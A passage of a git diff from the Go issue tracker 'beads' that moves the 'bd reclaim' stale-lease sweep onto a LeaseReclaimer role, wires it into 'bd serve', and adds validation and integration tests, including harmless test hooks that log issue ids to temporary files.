make([]string, publicops.MaxReclaimIDs+1) + for i := range tooMany { + tooMany[i] = id + } + for _, test := range []struct { + name string + request publicops.ReclaimRequest + tooMany bool + }{ + {"an empty actor", publicops.ReclaimRequest{Filter: publicops.ReclaimFilter{IDs: []string{id}}}, false}, + // One past the column every reverted row's recovery event records it + // in: a typed refusal before the sweep, never the backend's own error + // from the first row it would have reverted. + {"an over-long actor", publicops.ReclaimRequest{Actor: strings.Repeat("r", types.MaxFieldLen+1), + Filter: publicops.ReclaimFilter{IDs: []string{id}}}, false}, + {"a negative grace window", publicops.ReclaimRequest{Actor: leaseReclaimerReaper, OlderThan: -time.Second, + Filter: publicops.ReclaimFilter{IDs: []string{id}}}, false}, + {"a blank scoped id", publicops.ReclaimRequest{Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: []string{id, ""}}}, false}, + {"more ids than the cap", publicops.ReclaimRequest{Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: tooMany}}, true}, + } { + _, err := fixture.LeaseReclaimer.Reclaim(ctx, test.request) + if !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("%s: Reclaim error = %v, want ErrValidation", test.name, err) + } + if test.tooMany { + var capErr *publicops.TooManyReclaimIDsError + if !errors.As(err, &capErr) || capErr.Requested != len(tooMany) || capErr.Cap != publicops.MaxReclaimIDs { + t.Fatalf("%s: Reclaim error = %v, want *TooManyReclaimIDsError{Requested:%d Cap:%d}", + test.name, err, len(tooMany), publicops.MaxReclaimIDs) + } + } + leaseReclaimerRequireHeld(t, ctx, fixture, id) + } +} + +// RunLeaseReclaimerRefusesABlankScopeEntry pins the blank-entry refusal on +// the scopes that are not ids: an empty or all-blank assignee or label is +// ErrValidation as a *ReclaimFieldError naming its field, and changes +// nothing — the stale lease every request names survives. +func RunLeaseReclaimerRefusesABlankScopeEntry(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-blankscope" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, id) + + for _, test := range []struct { + field string + filter publicops.ReclaimFilter + }{ + {publicops.ReclaimFieldAssignees, publicops.ReclaimFilter{IDs: []string{id}, Assignees: []string{leaseReclaimerHolder, " "}}}, + {publicops.ReclaimFieldLabels, publicops.ReclaimFilter{IDs: []string{id}, Labels: []string{""}}}, + {publicops.ReclaimFieldLabelsAny, publicops.ReclaimFilter{IDs: []string{id}, LabelsAny: []string{"\t"}}}, + {publicops.ReclaimFieldExcludeLabels, publicops.ReclaimFilter{IDs: []string{id}, ExcludeLabels: []string{"x", " "}}}, + } { + _, err := fixture.LeaseReclaimer.Reclaim(ctx, publicops.ReclaimRequest{Actor: leaseReclaimerReaper, Filter: test.filter}) + var fieldErr *publicops.ReclaimFieldError + if !errors.Is(err, publicops.ErrValidation) || !errors.As(err, &fieldErr) || fieldErr.Field != test.field { + t.Fatalf("blank %s entry: Reclaim error = %v, want a *ReclaimFieldError naming %s", test.field, err, test.field) + } + leaseReclaimerRequireHeld(t, ctx, fixture, id) + } +} + +// RunLeaseReclaimerAcceptsExactlyTheCap pins the cap's boundary: MaxReclaimIDs +// entries is a request, one more is a refusal (the case above). +func RunLeaseReclaimerAcceptsExactlyTheCap(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + ids := make([]string, publicops.MaxReclaimIDs) + for i := range ids { + ids[i] = fmt.Sprintf("%s-cap-%04d", fixture.IssuePrefix, i) + } + result, err := fixture.LeaseReclaimer.Reclaim(ctx, publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, Filter: publicops.ReclaimFilter{IDs: ids}, + }) + if err != nil { + t.Fatalf("Reclaim with exactly MaxReclaimIDs ids = %v, want an answer", err) + } + if len(result.Reclaimed) != 0 { + t.Fatalf("Reclaimed = %+v, want nothing: none of the ids exist", result.Reclaimed) + } +} + +// RunLeaseReclaimerDoesNotMutateTheCallerRequest pins the role's "never mutate +// caller-owned request values": the scope slices come back as they were sent. +func RunLeaseReclaimerDoesNotMutateTheCallerRequest(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture) { + t.Helper() + requireLeaseReclaimerExec(t, fixture) + id := fixture.IssuePrefix + "-nomut" + leaseReclaimerSeedStale(t, ctx, fixture, leaseReclaimerHolder, id) + ids := []string{fixture.IssuePrefix + "-nomut-ghost", id} + assignees := []string{leaseReclaimerHolder} + request := publicops.ReclaimRequest{ + Actor: leaseReclaimerReaper, + Filter: publicops.ReclaimFilter{IDs: ids, Assignees: assignees}, + } + leaseReclaim(t, ctx, fixture, request) + if !slices.Equal(ids, []string{fixture.IssuePrefix + "-nomut-ghost", id}) || !slices.Equal(assignees, []string{leaseReclaimerHolder}) { + t.Fatalf("Reclaim rewrote the caller's scope: ids=%v assignees=%v", ids, assignees) + } +} + +// NewUpdateHookLog plants an on_update script that appends the id of every +// issue it fires for, and returns the runner a hook-firing chain is built over +// plus a reader for LeaseReclaimerFixture.FiredUpdates. The reader waits for +// in-flight hooks before reading, so it answers for every hook already fired. +// +// It answers (nil, nil) where a shell hook cannot run, so a fixture built from +// it leaves the hook case to skip rather than fail. +func NewUpdateHookLog(t *testing.T) (*hooks.Runner, func(context.Context) ([]string, error)) { + t.Helper() + if runtime.GOOS == "windows" { + return nil, nil + } + dir := t.TempDir() + log := filepath.Join(t.TempDir(), "on_update.log") + script := "#!/bin/sh\necho \"$1\" >> " + log + "\n" + if err := os.WriteFile(filepath.Join(dir, "on_update"), []byte(script), 0o755); err != nil { //nolint:gosec // G306: a hook must be executable to run at all + t.Fatalf("plant the on_update hook: %v", err) + } + runner := hooks.NewRunner(dir) + return runner, func(context.Context) ([]string, error) { + if !runner.Wait(30 * time.Second) { + return nil, errors.New("on_update hooks still running after 30s") + } + data, err := os.ReadFile(log) // #nosec G304 -- this helper's own temp file + if errors.Is(err, os.ErrNotExist) { + return []string{}, nil + } + if err != nil { + return nil, err + } + var ids []string + for _, line := range strings.Split(strings.TrimSpace(string(data)), "\n") { + if line = strings.TrimSpace(line); line != "" { + ids = append(ids, line) + } + } + return ids, nil + } +} + +func requireLeaseReclaimerExec(t *testing.T, fixture LeaseReclaimerFixture) { + t.Helper() + if fixture.Exec == nil || fixture.Claimer == nil || fixture.QueryScalar == nil { + t.Skip("LeaseReclaimerFixture.Exec/Claimer/QueryScalar is nil: this backend cannot manufacture a stale lease") + } +} + +// leaseReclaimerSeedClaimed creates each id and claims it as holder through the +// leg's Claimer, answering each claim's row version. +func leaseReclaimerSeedClaimed(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, holder string, ids ...string) map[string]int64 { + t.Helper() + versions := map[string]int64{} + for _, id := range ids { + if err := fixture.CreateIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + claimed, err := fixture.Claimer.Claim(ctx, publicops.ClaimRequest{Actor: holder, IssueID: id}) + if err != nil { + t.Fatalf("claim %s as %s: %v", id, holder, err) + } + if claimed.Issue == nil { + t.Fatalf("claim %s answered no issue", id) + } + versions[id] = claimed.Issue.RowVersion + } + return versions +} + +// leaseReclaimerSeedStale claims each id and ages its lease an hour past +// expiry, far beyond any grace window a case below uses by default. +func leaseReclaimerSeedStale(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, holder string, ids ...string) map[string]int64 { + t.Helper() + versions := leaseReclaimerSeedClaimed(t, ctx, fixture, holder, ids...) + leaseReclaimerAge(t, ctx, fixture, time.Hour, ids...) + return versions +} + +// leaseReclaimerAge moves each id's lease expiry to age in the past. +func leaseReclaimerAge(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, age time.Duration, ids ...string) { + t.Helper() + expired := time.Now().UTC().Add(-age) + statements := make([]SQLStatement, 0, len(ids)) + for _, id := range ids { + statements = append(statements, SQLStatement{ + Query: "UPDATE leases SET lease_expires_at = ? WHERE issue_id = ?", + Args: []any{expired, id}, + }) + } + if err := fixture.Exec(ctx, statements); err != nil { + t.Fatalf("age leases %v: %v", ids, err) + } + for _, id := range ids { + if n := leaseReclaimerScalar[int](t, ctx, fixture, "SELECT COUNT(*) FROM leases WHERE issue_id = ?", id); n != 1 { + t.Fatalf("lease rows for %s = %d, want 1: the claim wrote no lease to reclaim", id, n) + } + } +} + +func leaseReclaimerLabel(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, id, label string) { + t.Helper() + if err := fixture.Exec(ctx, []SQLStatement{{ + Query: "INSERT INTO labels (issue_id, label) VALUES (?, ?)", + Args: []any{id, label}, + }}); err != nil { + t.Fatalf("label %s %s: %v", id, label, err) + } +} + +func leaseReclaimerRequireHeld(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, id string) { + t.Helper() + if status := leaseReclaimerScalar[string](t, ctx, fixture, "SELECT status FROM issues WHERE id = ?", id); status != string(types.StatusInProgress) { + t.Fatalf("%s status = %q, want it still %q", id, status, types.StatusInProgress) + } +} + +func leaseReclaim(t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, request publicops.ReclaimRequest) publicops.ReclaimResult { + t.Helper() + result, err := fixture.LeaseReclaimer.Reclaim(ctx, request) + if err != nil { + t.Fatalf("Reclaim(%+v): %v", request.Filter, err) + } + if result.Reclaimed == nil { + t.Fatal("Reclaimed is nil; the role promises a non-nil slice for a successful call") + } + return result +} + +func leaseReclaimerIDs(result publicops.ReclaimResult) []string { + ids := make([]string, 0, len(result.Reclaimed)) + for _, r := range result.Reclaimed { + ids = append(ids, r.ID) + } + sort.Strings(ids) + return ids +} + +func leaseReclaimerScalar[T any](t *testing.T, ctx context.Context, fixture LeaseReclaimerFixture, query string, args ...any) T { + t.Helper() + var value T + if err := fixture.QueryScalar(ctx, query, args, &value); err != nil { + t.Fatalf("%s %v: %v", query, args, err) + } + return value +} diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index b5e03704f..309ae4fc3 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1048,6 +1048,7 @@ go_test( "ready_role_request_test.go", "ready_test.go", "ready_wisp_proxied_integration_test.go", + "reclaim_embedded_test.go", "reclaim_test.go", "recompute_blocked_proxied_integration_test.go", "registered_backend_workspace_paths_test.go", diff --git a/cmd/bd/reclaim.go b/cmd/bd/reclaim.go index 2a5262d99..7bde1f5b8 100644 --- a/cmd/bd/reclaim.go +++ b/cmd/bd/reclaim.go @@ -1,6 +1,7 @@ package main import ( + "errors" "fmt" "strings" @@ -8,9 +9,11 @@ import ( "github.com/spf13/pflag" "github.com/steveyegge/beads/internal/metrics" - "github.com/steveyegge/beads/internal/storage/issueops" + storeops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/storage/uow" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/issueops" ) var reclaimCmd = &cobra.Command{ @@ -99,31 +102,68 @@ Examples: CheckReadonly("reclaim") - if usesProxiedServer() { - return runReclaimProxiedServer(rootCtx, olderThan, filter) - } - - ctx := rootCtx - reclaimed, err := store.ReclaimExpiredLeases(ctx, olderThan, filter, currentActor()) + reclaimer, err := openLeaseReclaimer() if err != nil { return HandleErrorRespectJSON("reclaim: %v", err) } - - ids := make([]string, 0, len(reclaimed)) - for _, r := range reclaimed { - ids = append(ids, r.ID) + // The role mints the sweep's version commit itself, so batch and off + // modes have to be said on the CONTEXT, the way `bd prune` says them. + // The proxied route applied the policy to rootCtx in the root pre-run + // already, and issueOpsContext leaves a context that defers alone. + ctx := rootCtx + if !usesProxiedServer() { + if ctx, err = issueOpsContext(rootCtx); err != nil { + return HandleErrorRespectJSON("%v", err) + } } - if err := commitPendingIfEmbedded(ctx, store, currentActor(), doltAutoCommitParams{ - Command: "reclaim", - IssueIDs: ids, - }); err != nil { - return HandleErrorRespectJSON("failed to commit: %v", err) + result, err := reclaimer.Reclaim(ctx, issueops.ReclaimRequest{ + Actor: currentActor(), + OlderThan: olderThan, + Filter: filter, + }) + if err != nil { + return HandleErrorRespectJSON("reclaim: %v", err) + } + if len(result.Reclaimed) > 0 { + commandDidWrite.Store(true) } - return renderReclaim(reclaimed, !filter.IsEmpty()) + return renderReclaim(result.Reclaimed, !filter.IsEmpty()) }, } +// openLeaseReclaimer hands back the stale-lease sweep for whichever route this +// invocation is on: the store's own accessor (through every decorator the store +// was wired with, so the workspace's on_update hook fires once per reverted +// row, and over a registered HTTP backend the wire's reclaimIssues), or the +// proxied-server provider's. +func openLeaseReclaimer() (issueops.LeaseReclaimer, error) { + if usesProxiedServer() { + return proxiedLeaseReclaimer() + } + if store == nil { + if err := ensureStoreActive(); err != nil { + return nil, err + } + } + return store.LeaseReclaimer() +} + +// proxiedLeaseReclaimer takes the sweep through the proxied-server provider's +// OWN capability accessor, proxiedSweeper's two-step and for its reason: the +// accessor is where each layer (the notifying provider's hooks included) is +// added. +func proxiedLeaseReclaimer() (issueops.LeaseReclaimer, error) { + if uowProvider == nil { + return nil, errors.New("proxied-server UOW provider not initialized") + } + src, ok := uowProvider.(uow.LeaseReclaimerSource) + if !ok { + return nil, fmt.Errorf("proxied-server provider %T does not offer the lease-sweep surface", uowProvider) + } + return src.LeaseReclaimer() +} + func renderReclaim(reclaimed []types.ReclaimedLease, scoped bool) error { if jsonOutput { return outputJSON(map[string]interface{}{ @@ -224,7 +264,7 @@ func reclaimFilterFromFlags(cmd *cobra.Command) (types.ReclaimFilter, error) { } func init() { - reclaimCmd.Flags().Duration("older-than", 2*issueops.DefaultLeaseTTL, + reclaimCmd.Flags().Duration("older-than", 2*storeops.DefaultLeaseTTL, "Only reclaim leases that expired at least this long ago (grace window)") registerReclaimScopeFlags(reclaimCmd.Flags()) rootCmd.AddCommand(reclaimCmd) diff --git a/cmd/bd/reclaim_embedded_test.go b/cmd/bd/reclaim_embedded_test.go new file mode 100644 index 000000000..9a89f0961 --- /dev/null +++ b/cmd/bd/reclaim_embedded_test.go @@ -0,0 +1,133 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/types" +) + +// TestEmbeddedReclaimRunsTheLeaseReclaimerRole drives `bd reclaim` on the +// direct route, where it now runs issueops.LeaseReclaimer off the decorated +// store: the stale lease it names is reverted with a fresh revision, a live +// lease and an absent id it names are left out without an error, the sweep +// records its own version commit, and the workspace's on_update hook fires once +// for the reverted row. +func TestEmbeddedReclaimRunsTheLeaseReclaimerRole(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "rc") + + hookLog := filepath.Join(t.TempDir(), "on_update.log") + hooksDir := filepath.Join(beadsDir, "hooks") + if err := os.MkdirAll(hooksDir, 0o755); err != nil { + t.Fatalf("mkdir hooks: %v", err) + } + script := "#!/bin/sh\necho \"$1\" >> " + hookLog + "\n" + if err := os.WriteFile(filepath.Join(hooksDir, "on_update"), []byte(script), 0o755); err != nil { //nolint:gosec // G306: a hook must be executable to run at all + t.Fatalf("plant on_update: %v", err) + } + + stale := bdCreate(t, bd, dir, "Stale lease", "--type", "task") + live := bdCreate(t, bd, dir, "Live lease", "--type", "task") + bdUpdate(t, bd, dir, stale.ID, "--claim") + bdUpdate(t, bd, dir, live.ID, "--claim") + + cfg, _ := configfile.Load(beadsDir) + database := "" + if cfg != nil { + database = cfg.GetDoltDatabase() + } + dataDir := filepath.Join(beadsDir, "embeddeddolt") + withDB := func(fn func(exec func(string, ...any))) { + t.Helper() + db, cleanup, err := embeddeddolt.OpenSQL(t.Context(), dataDir, database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer func() { _ = cleanup() }() + fn(func(query string, args ...any) { + t.Helper() + if _, err := db.ExecContext(t.Context(), query, args...); err != nil { + t.Fatalf("%s: %v", query, err) + } + }) + } + countCommits := func() int { + t.Helper() + db, cleanup, err := embeddeddolt.OpenSQL(t.Context(), dataDir, database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer func() { _ = cleanup() }() + var n int + if err := db.QueryRowContext(t.Context(), "SELECT COUNT(*) FROM dolt_log WHERE message LIKE 'bd: reclaim%'").Scan(&n); err != nil { + t.Fatalf("count reclaim commits: %v", err) + } + return n + } + withDB(func(exec func(string, ...any)) { + exec("UPDATE leases SET lease_expires_at = ? WHERE issue_id = ?", time.Now().UTC().Add(-time.Hour), stale.ID) + }) + before := countCommits() + + out, err := bdRunWithFlockRetry(t, bd, dir, "reclaim", "--older-than", "0s", "--json", + "--id", stale.ID, "--id", live.ID, "--id", "rc-absent") + if err != nil { + t.Fatalf("bd reclaim: %v\n%s", err, out) + } + var got struct { + Count int `json:"count"` + Scoped bool `json:"scoped"` + Reclaimed []types.ReclaimedLease `json:"reclaimed"` + } + if err := json.Unmarshal(out, &got); err != nil { + t.Fatalf("unmarshal: %v\n%s", err, out) + } + if got.Count != 1 || len(got.Reclaimed) != 1 || got.Reclaimed[0].ID != stale.ID || !got.Scoped { + t.Fatalf("reclaim answered %+v, want exactly %s, scoped", got, stale.ID) + } + if _, err := types.ParseRevisionToken(got.Reclaimed[0].Revision); err != nil || got.Reclaimed[0].Revision == "" { + t.Fatalf("reclaimed revision %q is not a revision token: %v", got.Reclaimed[0].Revision, err) + } + + if after := countCommits(); after != before+1 { + t.Fatalf("reclaim version commits %d -> %d, want exactly one more", before, after) + } + if iss := bdShow(t, bd, dir, stale.ID); iss.Status != types.StatusOpen || iss.Assignee != "" { + t.Fatalf("%s after reclaim: status=%s assignee=%q, want open and unassigned", stale.ID, iss.Status, iss.Assignee) + } + if iss := bdShow(t, bd, dir, live.ID); iss.Status != types.StatusInProgress { + t.Fatalf("%s after reclaim: status=%s, want it still in_progress", live.ID, iss.Status) + } + + deadline := time.Now().Add(15 * time.Second) + for { + data, _ := os.ReadFile(hookLog) // #nosec G304 -- this test's own temp file + fired := map[string]int{} + for _, line := range strings.Fields(string(data)) { + fired[line]++ + } + // The claims fired on_update for both ids already; the reclaim adds + // one more for the reverted id and none for the live one. + if fired[stale.ID] == 2 && fired[live.ID] == 1 { + break + } + if time.Now().After(deadline) { + t.Fatalf("on_update fired %v, want %s twice (claim, reclaim) and %s once (claim)", fired, stale.ID, live.ID) + } + time.Sleep(50 * time.Millisecond) + } +} diff --git a/cmd/bd/serve.go b/cmd/bd/serve.go index fd5b1ad76..4a1592ccf 100644 --- a/cmd/bd/serve.go +++ b/cmd/bd/serve.go @@ -318,6 +318,7 @@ func runServe() error { EdgeReader: roles.edges, GraphCounter: roles.edgeCounter, BatchGetter: roles.batchGetter, + LeaseReclaimer: roles.leaseReclaimer, Relations: roles.relations, Commenter: roles.commenter, BlockingAnnotator: roles.blocking, @@ -674,6 +675,7 @@ type serveRoleSource interface { EdgeReader() (issueops.EdgeReader, error) GraphCounter() (issueops.GraphCounter, error) BatchGetter() (issueops.BatchGetter, error) + LeaseReclaimer() (issueops.LeaseReclaimer, error) IssueRelations() (issueops.Relations, error) Commenter() (issueops.Commenter, error) BlockingAnnotator() (issueops.BlockingAnnotator, error) @@ -741,6 +743,7 @@ func serveIssueRoles(src serveRoleSource, journalEnabled bool) (serveRoles, erro {"edge reader", func() (err error) { roles.edges, err = src.EdgeReader(); return }}, {"graph counter", func() (err error) { roles.edgeCounter, err = src.GraphCounter(); return }}, {"batch getter", func() (err error) { roles.batchGetter, err = src.BatchGetter(); return }}, + {"lease reclaimer", func() (err error) { roles.leaseReclaimer, err = src.LeaseReclaimer(); return }}, {"issue relations", func() (err error) { roles.relations, err = src.IssueRelations(); return }}, {"commenter", func() (err error) { roles.commenter, err = src.Commenter(); return }}, {"blocking annotator", func() (err error) { roles.blocking, err = src.BlockingAnnotator(); return }}, @@ -853,17 +856,22 @@ type serveRoles struct { // getter WITHOUT wrapping it — a read fires no completion hooks — so it is // taken off the peeled store with the rest for uniformity rather than out // of necessity. - batchGetter issueops.BatchGetter - relations issueops.Relations - commenter issueops.Commenter - blocking issueops.BlockingAnnotator - tree issueops.TreeWalker - readyCounter issueops.ReadyCounter - counter issueops.Counter - querier issueops.Querier - sweeper issueops.Sweeper - deleter issueops.Deleter - batchCreator issueops.BatchCreator + batchGetter issueops.BatchGetter + // leaseReclaimer is the stale-lease sweep behind + // POST /v0/beads/issues:reclaim. Its hook decorator WRAPS (a reclaim is an + // update per reverted row), which is why it comes off the peeled store with + // the releaser: bd serve runs no hooks. + leaseReclaimer issueops.LeaseReclaimer + relations issueops.Relations + commenter issueops.Commenter + blocking issueops.BlockingAnnotator + tree issueops.TreeWalker + readyCounter issueops.ReadyCounter + counter issueops.Counter + querier issueops.Querier + sweeper issueops.Sweeper + deleter issueops.Deleter + batchCreator issueops.BatchCreator // dependencyEditor is the second role here whose accessor recurses through // the hook decorator, so taking it off the peeled store is not optional: // HookFiringStore.DependencyEditor fires the workspace's update hook per diff --git a/cmd/bd/serve_source_test.go b/cmd/bd/serve_source_test.go index a0abf2235..1cb7ac105 100644 --- a/cmd/bd/serve_source_test.go +++ b/cmd/bd/serve_source_test.go @@ -100,6 +100,7 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { batchCloser: &serveStubBatchCloser{}, readyClaimer: &serveStubReadyClaimer{}, releaser: &serveStubReleaser{}, + reclaimer: &serveStubLeaseReclaimer{}, lifecycle: &serveStubLifecycle{}, dependencies: &serveStubDependencyEditor{}, batchApplier: &serveStubBatchApplier{}, @@ -187,6 +188,15 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { t.Fatal("the store's own accessor no longer returns a hook-firing releaser; this test proves nothing") } + // And for the lease reclaimer, which fires once per reverted row. + reclaimerFromTheStore, err := chained.LeaseReclaimer() + if err != nil { + t.Fatalf("LeaseReclaimer: %v", err) + } + if !storage.RoleFiresHooks(reclaimerFromTheStore) { + t.Fatal("the store's own accessor no longer returns a hook-firing lease reclaimer; this test proves nothing") + } + // And for the commenter, the SEVENTH — and the one that was OUTSIDE the // RoleFiresHooks switch entirely until the add-comment operation went on the // wire. hook_commenter.go has fired the update hook for every comment it @@ -254,6 +264,9 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { if storage.RoleFiresHooks(roles.releaser) { t.Error("bd serve would run this workspace's hooks on every HTTP release") } + if storage.RoleFiresHooks(roles.leaseReclaimer) || roles.leaseReclaimer != issueops.LeaseReclaimer(middle.reclaimer) { + t.Errorf("lease reclaimer came from %p, want the layer directly beneath the hooks (%p)", roles.leaseReclaimer, middle.reclaimer) + } reader, claimer := roles.reader, roles.claimer // The same predicate httpapi.Listen refuses on, so a regression here is a // server that refuses to boot rather than one that runs hooks silently. @@ -406,6 +419,7 @@ type serveRolesStore struct { batchCloser *serveStubBatchCloser readyClaimer *serveStubReadyClaimer releaser *serveStubReleaser + reclaimer *serveStubLeaseReclaimer lifecycle *serveStubLifecycle dependencies *serveStubDependencyEditor batchApplier *serveStubBatchApplier @@ -459,6 +473,13 @@ func (s *serveRolesStore) ReadyClaimer() (issueops.ReadyClaimer, error) { return // reaper draining abandoned work does in a tight loop. func (s *serveRolesStore) Releaser() (issueops.Releaser, error) { return s.releaser, nil } +// LeaseReclaimer carries an identifiable value for the releaser's reason, and +// for a sharper form of it: its decorator fires on_update once per reverted +// row, so an unpeeled reclaimer runs the workspace's hooks N times per sweep. +func (s *serveRolesStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + return s.reclaimer, nil +} + // IssueLifecycle carries an identifiable value for the same reason the reader // and the claimer do: it is one of the roles the hook decorator wraps, so a peel // of the wrong depth would hand bd serve a lifecycle that runs the workspace's @@ -655,6 +676,12 @@ func (*serveStubReleaser) Release(context.Context, issueops.ReleaseRequest) (iss return issueops.ReleaseResult{}, errors.ErrUnsupported } +type serveStubLeaseReclaimer struct{} + +func (*serveStubLeaseReclaimer) Reclaim(context.Context, issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + return issueops.ReclaimResult{}, errors.ErrUnsupported +} + type serveStubLifecycle struct{} func (*serveStubLifecycle) Create(context.Context, issueops.CreateRequest) (issueops.CreateResult, error) { diff --git a/cmd/bd/serve_store_identity_test.go b/cmd/bd/serve_store_identity_test.go index 322adc4c3..4d3efc3f9 100644 --- a/cmd/bd/serve_store_identity_test.go +++ b/cmd/bd/serve_store_identity_test.go @@ -210,6 +210,13 @@ func (*serveIdentityStore) ReadyClaimer() (issueops.ReadyClaimer, error) { return serveIdentityRole{}, nil } func (*serveIdentityStore) Releaser() (issueops.Releaser, error) { return serveIdentityRole{}, nil } + +// LeaseReclaimer is declared at depth 1 for Releaser's reason: its hook +// decorator wraps, and the recursion would otherwise land on a nil-embedded +// promotion. +func (*serveIdentityStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + return serveIdentityRole{}, nil +} func (*serveIdentityStore) IssueLifecycle() (issueops.Lifecycle, error) { return serveIdentityRole{}, nil } @@ -297,6 +304,7 @@ func (*serveIdentityStore) MetadataCAS() (issueops.MetadataCAS, error) { type serveIdentityRole struct { issueops.Lifecycle issueops.Releaser + issueops.LeaseReclaimer issueops.ReadyClaimer issueops.BatchCloser issueops.MetadataCAS diff --git a/cmd/bd/unclaim_proxied_integration_test.go b/cmd/bd/unclaim_proxied_integration_test.go index f7fcdfa06..7a64d548e 100644 --- a/cmd/bd/unclaim_proxied_integration_test.go +++ b/cmd/bd/unclaim_proxied_integration_test.go @@ -174,6 +174,7 @@ func TestProxiedServerReclaim(t *testing.T) { Reclaimed []struct { ID string `json:"id"` PreviousOwner string `json:"previous_owner"` + Revision string `json:"revision"` } `json:"reclaimed"` } if err := json.Unmarshal(out, &got); err != nil { @@ -186,6 +187,11 @@ func TestProxiedServerReclaim(t *testing.T) { if r.PreviousOwner == "" { t.Errorf("expected a previous owner for reclaimed %s", issue.ID) } + // The role mints a new revision per reverted row and reports + // it, on this route exactly as on the direct one. + if _, perr := types.ParseRevisionToken(r.Revision); perr != nil || r.Revision == "" { + t.Errorf("reclaimed %s carries revision %q, want a revision token: %v", issue.ID, r.Revision, perr) + } } } if !found { diff --git a/cmd/bd/unclaim_proxied_server.go b/cmd/bd/unclaim_proxied_server.go index 9269beb88..237d4e099 100644 --- a/cmd/bd/unclaim_proxied_server.go +++ b/cmd/bd/unclaim_proxied_server.go @@ -6,7 +6,6 @@ import ( "fmt" "os" "strings" - "time" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/uow" @@ -122,33 +121,3 @@ func runUnclaimProxiedServer(ctx context.Context, args []string, reason string, } return nil } - -func runReclaimProxiedServer(ctx context.Context, olderThan time.Duration, filter types.ReclaimFilter) error { - if uowProvider == nil { - return HandleError("proxied-server UOW provider not initialized") - } - - reclaimed, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) ([]types.ReclaimedLease, string, error) { - out, rerr := uw.IssueUseCase().ReclaimExpiredLeases(ctx, olderThan, filter, currentActor()) - if rerr != nil { - return nil, "", rerr - } - if len(out) == 0 { - return out, "", nil - } - ids := make([]string, 0, len(out)) - for _, r := range out { - ids = append(ids, r.ID) - } - return out, "bd: reclaim " + strings.Join(ids, ", "), nil - }) - if err != nil { - return HandleErrorRespectJSON("reclaim: %v", err) - } - - if len(reclaimed) > 0 { - commandDidWrite.Store(true) - } - - return renderReclaim(reclaimed, !filter.IsEmpty()) -} diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index fb7b25625..27efb854f 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -29,6 +29,7 @@ go_library( "problem.go", "query.go", "reads.go", + "reclaim.go", "related.go", "release.go", "reopen.go", @@ -93,6 +94,7 @@ go_test( "project_stamp_test.go", "reads_test.go", "ready_count_test.go", + "reclaim_test.go", "related_test.go", "release_test.go", "reopen_test.go", diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 37e13b5f9..4fea37994 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -1047,7 +1047,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than 